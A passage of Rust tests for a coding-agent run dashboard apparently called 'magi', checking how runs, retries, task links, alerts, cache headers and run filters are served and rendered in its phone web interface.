24565        assert_eq!(value["pid"], 4242);
24566        assert!(value.get("payload").is_none());
24567        assert!(value.get("result").is_none());
24568        assert!(!value.to_string().contains("private"));
24569    }
24570
24571    #[test]
24572    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24573        let home = TempDir::new().expect("temp home");
24574        let ui = idle_ui(&home);
24575        std::fs::write(
24576            home.path().join("daemon.json"),
24577            serde_json::json!({
24578                "schema": 2, "pid": 4242, "worker_protocol": 1,
24579                "updated_at": Timestamp::now().to_string(), "idle": true,
24580            })
24581            .to_string(),
24582        )
24583        .expect("status");
24584        let reading = daemon::read_status(home.path());
24585        assert!(Foreign::of(reading.as_ref()).is_none());
24586        let view = ui.runtime_loop_view(reading, &[]);
24587        assert!(view.running);
24588        assert!(view.owned);
24589    }
24590
24591    #[test]
24592    fn only_an_explicit_one_requests_a_resume() {
24593        assert!(!resume_requested(None));
24594        assert!(!resume_requested(Some("0".into())));
24595        assert!(!resume_requested(Some("".into())));
24596        assert!(resume_requested(Some("1".into())));
24597    }
24598
24599    #[test]
24600    fn an_error_is_visible_from_where_the_button_is() {
24601        // The alert used to sit in the flow under the header. On a phone
24602        // scrolled 13 500 px down to a run's action sheet that is off screen,
24603        // so tapping Resume and being told "the loop is running run b455
24604        // right now" looked exactly like a button that did nothing.
24605        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24606            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24607        assert!(
24608            alert.contains("position: fixed"),
24609            "an error about the thing under your thumb has to be visible from \
24610             where your thumb is: {alert}"
24611        );
24612        assert!(
24613            alert.contains("z-index: 25"),
24614            "above the dock (20) and the run-actions FAB (15), so neither \
24615             buries it: {alert}"
24616        );
24617        assert!(
24618            alert.contains("var(--tap)"),
24619            "and clear of the dock and the home indicator: {alert}"
24620        );
24621        // The FAB sits at the same height on the right. An error that covered
24622        // it would hide the button the operator reaches for next.
24623        assert!(
24624            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24625            "the FAB's column stays free: {alert}"
24626        );
24627    }
24628
24629    #[tokio::test]
24630    async fn an_older_attempt_says_what_replaced_it() {
24631        let fx = Fixture::start().await;
24632        let q = fx.queue();
24633        let runs = fx.runs();
24634        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24635        write_run(&runs, first, RunStatus::Stalled);
24636        write_run(&runs, second, RunStatus::Blocked);
24637
24638        let mut t = Task::new(
24639            "one task".to_owned(),
24640            "do it".to_owned(),
24641            PathBuf::from("/repo"),
24642            Source::Human,
24643        );
24644        t.runs = vec![first.to_owned(), second.to_owned()];
24645        q.put(&mut t).expect("put");
24646
24647        // Two cards with the same title and no hint which is which was the
24648        // question: "why are there two of the same, one stalled and one
24649        // blocked?" The older one now names its replacement.
24650        let rows = fx.get("/api/runs").await.json();
24651        let by = |short: &str| -> Value {
24652            rows.as_array()
24653                .unwrap()
24654                .iter()
24655                .find(|r| r["short"] == short)
24656                .cloned()
24657                .unwrap_or(Value::Null)
24658        };
24659        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24660        assert!(
24661            by("bbbb")["superseded_by"].is_null(),
24662            "the latest attempt is not superseded by anything"
24663        );
24664        // Front end: the note has to be rendered, not just carried.
24665        assert!(APP_JS.contains("run.superseded_by"));
24666        assert!(APP_JS.contains("Superseded by"));
24667    }
24668
24669    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24670        let mut t = Task::new(
24671            "one task".to_owned(),
24672            "do it".to_owned(),
24673            PathBuf::from("/repo"),
24674            Source::Human,
24675        );
24676        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24677        t.status = status;
24678        t
24679    }
24680
24681    #[test]
24682    fn source_link_picks_the_page_that_filed_the_task() {
24683        let agent = |node: &str| Source::Agent {
24684            run: "20260904-014455-ab12".to_owned(),
24685            node: node.to_owned(),
24686        };
24687        let chat = source_link(&agent("chat")).expect("chat link");
24688        assert_eq!(chat.kind, "chat");
24689        assert_eq!(chat.id, "20260904-014455-ab12");
24690        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24691        let run = source_link(&agent("implement")).expect("run link");
24692        assert_eq!(
24693            (run.kind, run.href.as_str()),
24694            ("run", "#/runs/20260904-014455-ab12")
24695        );
24696        assert_eq!(source_link(&Source::Human), None);
24697        assert_eq!(
24698            source_link(&Source::Issue {
24699                number: 3,
24700                repo: "o/r".to_owned()
24701            }),
24702            None
24703        );
24704        let odd = source_link(&Source::Agent {
24705            run: "a b/c".to_owned(),
24706            node: "chat".to_owned(),
24707        })
24708        .expect("link");
24709        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24710    }
24711
24712    #[test]
24713    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24714        assert!(
24715            !APP_JS.contains("src.node === \"chat\""),
24716            "inline href rule is back"
24717        );
24718        assert!(
24719            APP_JS.matches("sourceLinkOf(").count() >= 4,
24720            "helper must serve every page"
24721        );
24722        assert!(
24723            APP_JS.matches("openChatLink(").count() >= 3,
24724            "the run page still needs its explicit chat link"
24725        );
24726        assert!(
24727            !APP_JS.contains("const openChat = el("),
24728            "the Queue card duplicates its source label link again"
24729        );
24730        assert!(
24731            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24732            "the task page must link a chat source label too"
24733        );
24734    }
24735
24736    #[test]
24737    fn task_ref_carries_the_source_link_for_a_chat_task() {
24738        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24739        t.source = Source::Agent {
24740            run: "20260904-014455-ab12".to_owned(),
24741            node: "chat".to_owned(),
24742        };
24743        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24744        let v = serde_json::to_value(&out).expect("json");
24745        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24746        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24747        assert_eq!(v["source_label"], t.source.label());
24748
24749        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24750        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24751            .expect("json");
24752        assert!(v["source_link"].is_null(), "{v}");
24753    }
24754
24755    #[test]
24756    fn task_view_serializes_source_link() {
24757        let mut t = Task::new(
24758            "t".to_owned(),
24759            "t".to_owned(),
24760            PathBuf::from("/repo"),
24761            Source::Agent {
24762                run: "20260901-000000-aaaa".to_owned(),
24763                node: "implement".to_owned(),
24764            },
24765        );
24766        t.runs.clear();
24767        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24768        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24769        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24770    }
24771
24772    #[test]
24773    fn task_view_serializes_urgent_flag() {
24774        let mut t = Task::new(
24775            "t".to_owned(),
24776            "t".to_owned(),
24777            PathBuf::from("/repo"),
24778            Source::Human,
24779        );
24780        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24781        assert_eq!(v["urgent"], false, "{v}");
24782        t.urgent = true;
24783        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24784        assert_eq!(v["urgent"], true, "{v}");
24785        assert!(APP_JS.contains("task.urgent === true"));
24786    }
24787
24788    #[tokio::test]
24789    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24790        let fx = Fixture::start().await;
24791        let runs = fx.runs();
24792        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24793        write_run(&runs, old, RunStatus::Blocked);
24794        write_run(&runs, new, RunStatus::Merged);
24795        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24796        fx.queue().put(&mut t).expect("put");
24797
24798        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24799        let task = &view["task"];
24800        assert_eq!(task["status"], "done");
24801        assert_eq!(task["is_latest"], false);
24802        assert_eq!(task["latest"]["short"], "bbbb");
24803        assert_eq!(task["finished_by"]["id"], new);
24804        assert_eq!(task["finished_by"]["outcome"], "merged");
24805        assert_eq!(task["closed_by_hand"], false);
24806        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24807        assert!(APP_JS.contains("finished_by"));
24808        assert!(APP_JS.contains("superseded by run"));
24809    }
24810
24811    #[tokio::test]
24812    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24813        let fx = Fixture::start().await;
24814        let runs = fx.runs();
24815        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24816        write_run(&runs, old, RunStatus::Stalled);
24817        write_run(&runs, new, RunStatus::Blocked);
24818        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24819        fx.queue().put(&mut t).expect("put");
24820
24821        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24822        assert_eq!(task["status"], "held");
24823        assert_eq!(task["is_latest"], true);
24824        assert!(task["latest"].is_null());
24825        assert!(task["finished_by"].is_null());
24826        assert_eq!(task["closed_by_hand"], false);
24827    }
24828
24829    #[tokio::test]
24830    async fn a_direct_run_has_no_task_outcome() {
24831        let fx = Fixture::start().await;
24832        let runs = fx.runs();
24833        let id = "20260901-000000-aaaa";
24834        write_run(&runs, id, RunStatus::Blocked);
24835        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24836        assert!(view["task"].is_null());
24837    }
24838
24839    #[test]
24840    fn task_outcome_does_not_guess_a_finishing_run() {
24841        let a = "20260901-000000-aaaa";
24842        let b = "20260901-000000-bbbb";
24843        let c = "20260901-000000-cccc";
24844        let dir = tempfile::tempdir().expect("tempdir");
24845        write_run(dir.path(), a, RunStatus::Blocked);
24846        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24847        // `c` has no record: unreadable.
24848        let read = |id: &str| read_run(dir.path(), id).ok();
24849        // Neither a blocked run nor a no-op finished the task; the newest run is
24850        // unreadable and still named.
24851        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24852        let out = task_outcome(&t, a, 3, read);
24853        assert!(out.finished_by.is_none());
24854        assert!(out.closed_by_hand);
24855        let latest = out.latest.expect("latest");
24856        assert_eq!(latest.id, c);
24857        assert_eq!(latest.status, None);
24858        assert_eq!(latest.outcome, "record unreadable");
24859
24860        // A Ready run settles the task as done, so it is named as the finisher.
24861        write_run(dir.path(), c, RunStatus::Ready);
24862        let t = outcome_task(&[a, c], TaskStatus::Done);
24863        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24864        assert_eq!(out.finished_by.expect("finisher").id, c);
24865        assert!(!out.closed_by_hand);
24866
24867        // A resumed run id repeats: it is still the latest by id.
24868        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24869        assert!(task_outcome(&t, a, 3, read).is_latest);
24870    }
24871
24872    #[tokio::test]
24873    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24874        // The list route has known this since the card fix above; the detail
24875        // route — what an operator actually opens from a notification about
24876        // a blocked run — did not, and went on showing a bare red BLOCKED
24877        // chip for a run a retry had already finished.
24878        let fx = Fixture::start().await;
24879        let q = fx.queue();
24880        let runs = fx.runs();
24881        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24882        write_run(&runs, first, RunStatus::Blocked);
24883        write_run(&runs, second, RunStatus::Merged);
24884
24885        let mut t = Task::new(
24886            "one task".to_owned(),
24887            "do it".to_owned(),
24888            PathBuf::from("/repo"),
24889            Source::Human,
24890        );
24891        t.runs = vec![first.to_owned(), second.to_owned()];
24892        q.put(&mut t).expect("put");
24893
24894        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24895        assert_eq!(earlier["superseded_by"], "dddd");
24896        assert_eq!(earlier["latest_attempt"]["id"], second);
24897        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24898        assert_eq!(
24899            earlier["latest_attempt"]["resolved"], true,
24900            "the run that replaced it landed, so this one reads as settled"
24901        );
24902
24903        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24904        assert!(
24905            later["superseded_by"].is_null(),
24906            "the latest attempt is not superseded by anything"
24907        );
24908        assert!(
24909            later["latest_attempt"].is_null(),
24910            "the latest attempt has no later attempt of its own"
24911        );
24912
24913        // Front end: the detail page has to read the field this route now
24914        // carries, downgrade the chip, and link to the run that replaced it —
24915        // not just repeat the list card's own logic under a different name.
24916        // The link is built off `latest_attempt.id`, the server-resolved
24917        // full id, never a bare short string a client would have to guess a
24918        // full run from.
24919        assert!(APP_JS.contains("run.latest_attempt"));
24920        assert!(APP_JS.contains("data-superseded"));
24921        assert!(APP_JS.contains("#/runs/${latest.id}"));
24922    }
24923
24924    #[tokio::test]
24925    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24926        // A -> B -> C, all Blocked except the last. A's immediate successor
24927        // (superseded_by) is B, which is itself unresolved; what an operator
24928        // opening A's page actually needs is where the task's story stands
24929        // *now* - C, not B - without depending on whether C happens to be in
24930        // whatever page of /api/runs the client last cached.
24931        let fx = Fixture::start().await;
24932        let q = fx.queue();
24933        let runs = fx.runs();
24934        let (a, b, c) = (
24935            "20260901-000000-aaaa",
24936            "20260901-000000-bbbb",
24937            "20260901-000000-cccc",
24938        );
24939        write_run(&runs, a, RunStatus::Blocked);
24940        write_run(&runs, b, RunStatus::Blocked);
24941        write_run(&runs, c, RunStatus::Merged);
24942
24943        let mut t = Task::new(
24944            "retried twice".to_owned(),
24945            "do it".to_owned(),
24946            PathBuf::from("/repo"),
24947            Source::Human,
24948        );
24949        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24950        q.put(&mut t).expect("put");
24951
24952        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24953        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24954        assert_eq!(
24955            view["latest_attempt"]["id"], c,
24956            "the chain's current head, not the intermediate Blocked retry"
24957        );
24958        assert_eq!(view["latest_attempt"]["resolved"], true);
24959
24960        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24961        assert_eq!(mid["latest_attempt"]["id"], c);
24962        assert_eq!(mid["latest_attempt"]["resolved"], true);
24963    }
24964
24965    #[tokio::test]
24966    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24967        let fx = Fixture::start().await;
24968        let q = fx.queue();
24969        let runs = fx.runs();
24970
24971        // Still Blocked: the task is not resolved, so the older run must not
24972        // read as settled either.
24973        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24974        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24975        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24976        let mut t1 = Task::new(
24977            "still stuck".to_owned(),
24978            "do it".to_owned(),
24979            PathBuf::from("/repo"),
24980            Source::Human,
24981        );
24982        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24983        q.put(&mut t1).expect("put");
24984        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24985        assert_eq!(view1["latest_attempt"]["resolved"], false);
24986        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24987        assert_eq!(view1["latest_attempt"]["done"], true);
24988
24989        // Still running: the successor exists and must be reported as such.
24990        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24991        write_run(&runs, run_a, RunStatus::Blocked);
24992        write_run(&runs, run_b, RunStatus::Implementing);
24993        let mut t3 = Task::new(
24994            "retrying".to_owned(),
24995            "do it".to_owned(),
24996            PathBuf::from("/repo"),
24997            Source::Human,
24998        );
24999        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25000        q.put(&mut t3).expect("put");
25001        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25002        assert_eq!(view3["latest_attempt"]["id"], run_b);
25003        assert_eq!(view3["latest_attempt"]["resolved"], false);
25004        assert_eq!(view3["latest_attempt"]["done"], false);
25005
25006        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
25007        // to check - not a confirmed finish, so this must not read as
25008        // resolved either, even though the run is done in the sense that
25009        // nothing is still running.
25010        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25011        write_run(&runs, noop_a, RunStatus::Blocked);
25012        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25013        let mut t2 = Task::new(
25014            "claims done".to_owned(),
25015            "do it".to_owned(),
25016            PathBuf::from("/repo"),
25017            Source::Human,
25018        );
25019        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25020        q.put(&mut t2).expect("put");
25021        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25022        assert_eq!(
25023            view2["latest_attempt"]["resolved"], false,
25024            "an unverified no-op claim must not read as a confirmed finish"
25025        );
25026
25027        // Front end: an unresolved successor must not carry the "finished
25028        // this work" note or the muted chip treatment.
25029        assert!(APP_JS.contains("latest.resolved"));
25030        // ...but the link to it shows as soon as it exists, labelled by state
25031        // and without the "finished" wording or the muted chip.
25032        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25033        assert!(APP_JS.contains("Latest attempt: "));
25034        assert!(APP_JS.contains("in flight"));
25035        assert!(APP_JS.contains("not resolved"));
25036    }
25037
25038    #[tokio::test]
25039    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25040        let fx = Fixture::start().await;
25041        // No cache header at all meant browsers invented their own policy,
25042        // and one did: a phone went on showing "Candidates must be folded
25043        // before deleting. Run `magi fold` first." - deleted two releases
25044        // earlier - from a deck that no longer contained the sentence. The
25045        // button it named was right there, and unreachable.
25046        let js = fx.get("/app.js").await;
25047        assert_eq!(js.status, 200);
25048        let tag = js
25049            .header("etag")
25050            .expect("an etag to revalidate against")
25051            .to_owned();
25052        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25053        assert_eq!(
25054            js.header("cache-control"),
25055            Some("no-cache, must-revalidate"),
25056            "the phone has to ask every time"
25057        );
25058
25059        // And the asking has to be cheap, or `must-revalidate` just means
25060        // "send the whole interface on every load".
25061        let again = fx
25062            .get_with("/app.js", &[("if-none-match", tag.as_str())])
25063            .await;
25064        assert_eq!(
25065            again.status, 304,
25066            "a deck it already has costs one round trip"
25067        );
25068        assert!(again.body.is_empty(), "304 carries no body");
25069
25070        // A weakened tag from a proxy still matches; a different build does
25071        // not, which is the case that has to deliver the new interface.
25072        let weak = fx
25073            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25074            .await;
25075        assert_eq!(weak.status, 304);
25076        let stale = fx
25077            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25078            .await;
25079        assert_eq!(stale.status, 200, "an older build must be replaced");
25080        assert!(stale.body.contains("renderRunActions"));
25081    }
25082
25083    #[test]
25084    fn the_task_detail_has_an_actions_fab_and_sheet() {
25085        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25086        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25087        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25088        // Shown only on the task route, closed everywhere else.
25089        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25090        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25091        // Refreshed whenever the detail redraws, including the loading state.
25092        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25093        assert!(APP_JS.contains("renderTaskActions(null);"));
25094        // Same action renderers as the Queue card. Bound this check by the
25095        // next function, since additional task controls can grow the sheet.
25096        let (_, sheet) = APP_JS
25097            .split_once("function renderTaskActions(task) {")
25098            .expect("sheet renderer");
25099        let (body, _) = sheet
25100            .split_once("\nfunction openTaskActions() {")
25101            .expect("end of sheet renderer");
25102        assert!(body.contains("changePriority("));
25103        assert!(body.contains("openTaskEdit(task)"));
25104        assert!(body.contains("renderTaskHoldBox(host"));
25105        assert!(body.contains("renderTaskDoneBox(host"));
25106        assert!(body.contains("renderTaskDeleteBox(host"));
25107        assert!(APP_JS.contains("API.priority(id)"));
25108        assert!(APP_JS.contains("API.deleteTask(id)"));
25109        // A deleted task sends the operator back to the queue.
25110        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25111        // A refusal is shown inside the sheet.
25112        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25113    }
25114
25115    #[test]
25116    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25117        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25118        let actions = INDEX_HTML
25119            .find("id=\"run-actions-box\"")
25120            .expect("actions box");
25121        assert!(task < actions, "the task entry comes first in the sheet");
25122        assert!(APP_JS.contains("renderRunTaskEntry"));
25123        assert!(APP_JS.contains("\"Open task \""));
25124        // A run without a task says why there is nothing to open.
25125        assert!(APP_JS.contains("started directly, no task"));
25126        assert!(APP_JS.contains("sheet-task-link"));
25127        assert!(APP_JS.contains("task-chip-link"));
25128    }
25129
25130    #[test]
25131    fn the_deck_never_sends_the_operator_to_a_terminal() {
25132        // The whole point of the phone UI is that a terminal is not needed.
25133        // The delete control used to answer with "Run `magi fold` first."
25134        assert!(
25135            !APP_JS.contains("Run `magi fold` first"),
25136            "the deck must offer the fold, not prescribe a shell command"
25137        );
25138        assert!(APP_JS.contains("foldRun:"));
25139        assert!(APP_JS.contains("resumeRun:"));
25140        assert!(APP_JS.contains("renderRunActions"));
25141
25142        // Folding is destructive and armed in two steps, like deleting.
25143        assert!(APP_JS.contains("armedFold"));
25144        assert!(APP_JS.contains("Yes, fold worktrees"));
25145
25146        // And the copy has to say that the two actions are opposites, because
25147        // folding throws away exactly what a resume would continue from.
25148        assert!(APP_JS.contains("can no longer be resumed"));
25149    }
25150
25151    #[test]
25152    fn a_finished_run_explains_itself_with_its_own_last_line() {
25153        // The deck used to answer "why did this stop?" with a sentence chosen
25154        // by status alone. Run e633 stalled because two judges answered with
25155        // the wrong JSON shape and its card said "The panel collapsed on
25156        // agent quota" - with `quota: []` in the record and a quota-loss
25157        // counter right above it that correctly said nothing.
25158        assert!(
25159            !APP_JS.contains("collapsed on agent quota"),
25160            "a stall must not be explained by a cause the deck did not check"
25161        );
25162        assert!(
25163            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25164            "and a block must not offer a guess with an `or` in it"
25165        );
25166
25167        // The reason it does have is `run.event`, which must reach finished
25168        // runs: gating it on movement hid the recorded truth at the one moment
25169        // the operator is reading the card to find out what happened.
25170        assert!(
25171            APP_JS.contains("setText(r.event, run.event || \"\")"),
25172            "the run's last line is rendered unconditionally"
25173        );
25174        assert!(
25175            !APP_JS.contains("moving && run.event"),
25176            "and never gated on the run still moving"
25177        );
25178
25179        // Quota keeps its own counter, fed by the number actually recorded.
25180        assert!(APP_JS.contains("lost to quota"));
25181    }
25182
25183    /// The runs tree (section) and the state chips (waiting/done) are two
25184    /// independent lenses ANDed together in `renderRuns`, and some pairings
25185    /// can never both be true for any run - every "Landed"/"Ended" run is
25186    /// done by construction, so pairing either with "Active" or "In flight"
25187    /// always rendered zero cards with the filter bar still claiming
25188    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25189    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25190    /// a handful of (waiting, status) shapes standing in for the run
25191    /// lifecycle, because `cargo test` cannot execute the front end.
25192    ///
25193    /// That stand-in list is itself the part that drifted twice in review:
25194    /// once shipped with `waiting: true` paired with a done status the
25195    /// lifecycle cannot produce, then over-corrected into treating every
25196    /// waiting run as never done - which made "Waiting on you" look
25197    /// incompatible with "Done" even for the one real, reachable shape
25198    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25199    /// that combination. This test parses the shapes and the done-rule back
25200    /// out of `APP_JS`, reimplements `runSection` and the five state
25201    /// predicates independently in Rust, and checks the resulting
25202    /// section/filter compatibility table against the lifecycle rules by
25203    /// hand - so either direction of drift fails it again.
25204    #[test]
25205    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25206        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25207        let shapes_body_start =
25208            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25209        let shapes_close = APP_JS[shapes_body_start..]
25210            .find("].map(")
25211            .expect("the shape list is closed by its done-computing .map(...)")
25212            + shapes_body_start;
25213        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25214
25215        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25216        for entry in shapes_src.split('{').skip(1) {
25217            let waiting = entry.contains("waiting: true");
25218            let dead = entry.contains("live: \"dead\"");
25219            let status_at =
25220                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25221            let status_end = entry[status_at..]
25222                .find('"')
25223                .expect("the status string is closed")
25224                + status_at;
25225            let parked = entry.contains("display_status: \"parked\"");
25226            shapes.push((
25227                waiting,
25228                entry[status_at..status_end].to_string(),
25229                dead,
25230                parked,
25231            ));
25232        }
25233        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25234
25235        // The done rule itself (`!["implementing"].includes(shape.status)`),
25236        // read out of the source rather than hardcoded, so a renamed
25237        // in-flight status can't silently make every parsed shape "done".
25238        let done_rule_marker = "done: !";
25239        let done_rule_at = APP_JS[shapes_close..]
25240            .find(done_rule_marker)
25241            .expect("the done rule follows the shape list")
25242            + shapes_close
25243            + done_rule_marker.len();
25244        let includes_at = APP_JS[done_rule_at..]
25245            .find(".includes(shape.status)")
25246            .expect("the done rule ends in .includes(shape.status)")
25247            + done_rule_at;
25248        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25249            .trim()
25250            .trim_start_matches('[')
25251            .trim_end_matches(']')
25252            .split(',')
25253            .map(|s| s.trim().trim_matches('"'))
25254            .filter(|s| !s.is_empty())
25255            .collect();
25256
25257        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25258            .into_iter()
25259            .map(|(waiting, status, dead, parked)| {
25260                let done = !not_done.contains(&status.as_str());
25261                (waiting, status, dead, parked, done)
25262            })
25263            .collect();
25264
25265        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25266        // outright, then merged/ready land, stalled/blocked/failed/
25267        // verified_noop end, and everything else is still in flight.
25268        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25269            if waiting {
25270                return "waiting";
25271            }
25272            if dead
25273                && !parked
25274                && !matches!(
25275                    status,
25276                    "merged"
25277                        | "ready"
25278                        | "stalled"
25279                        | "blocked"
25280                        | "failed"
25281                        | "verified_noop"
25282                        | "superseded"
25283                        | "already_in_base"
25284                )
25285            {
25286                return "stale";
25287            }
25288            match status {
25289                "merged" | "ready" => "landed",
25290                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25291                | "already_in_base" => "ended",
25292                _ => "flight",
25293            }
25294        }
25295
25296        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25297        // way.
25298        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25299            match filter_key {
25300                "active" => !done,
25301                "flight" => !done && !waiting && !dead,
25302                "stale" => !done && !waiting && dead,
25303                "waiting" => waiting,
25304                "done" => done,
25305                "all" => true,
25306                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25307            }
25308        }
25309
25310        let compatible = |section: &str, filter_key: &str| {
25311            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25312                run_section(*waiting, status, *dead, *parked) == section
25313                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25314            })
25315        };
25316
25317        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25318        // (active, flight, stale, waiting, done, all) - hand-derived from the
25319        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25320        // currently contains.
25321        let expected = [
25322            ("waiting", [true, false, false, true, true, true]),
25323            ("stale", [true, false, true, false, false, true]),
25324            ("flight", [true, true, false, false, false, true]),
25325            ("landed", [false, false, false, false, true, true]),
25326            ("ended", [false, false, false, false, true, true]),
25327        ];
25328        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25329
25330        for (section, wants) in expected {
25331            for (filter_key, want) in filter_keys.iter().zip(wants) {
25332                assert_eq!(
25333                    compatible(section, filter_key),
25334                    want,
25335                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25336                );
25337            }
25338        }
25339
25340        // The compatibility check exists only to be acted on: both pickers
25341        // must actually consult it rather than just render its answer.
25342        assert!(
25343            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25344        );
25345        assert!(APP_JS.contains(
25346            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25347        ));
25348        assert!(APP_JS.contains(
25349            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25350        ));
25351    }
25352
25353    #[tokio::test]
25354    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25355        // An operator-named directory - git checkout or not - is never
25356        // second-guessed, even when it does not exist at all: only the
25357        // flag's own unmodified `.` default is ever eligible for discovery.
25358        let dir = tempfile::tempdir().expect("tempdir");
25359        let explicit = dir.path().join("not-a-checkout");
25360        std::fs::create_dir_all(&explicit).expect("create dir");
25361        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25362
25363        let missing = dir.path().join("does-not-exist-at-all");
25364        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25365    }
25366
25367    #[test]
25368    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25369        assert!(APP_JS.contains("function statsDonutArcs"));
25370        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25371        // A bucket click filters by the statuses src/stats.rs counts in it.
25372        assert!(APP_JS.contains("function statusInBucket"));
25373        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25374        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25375        let buckets = [
25376            "merged",
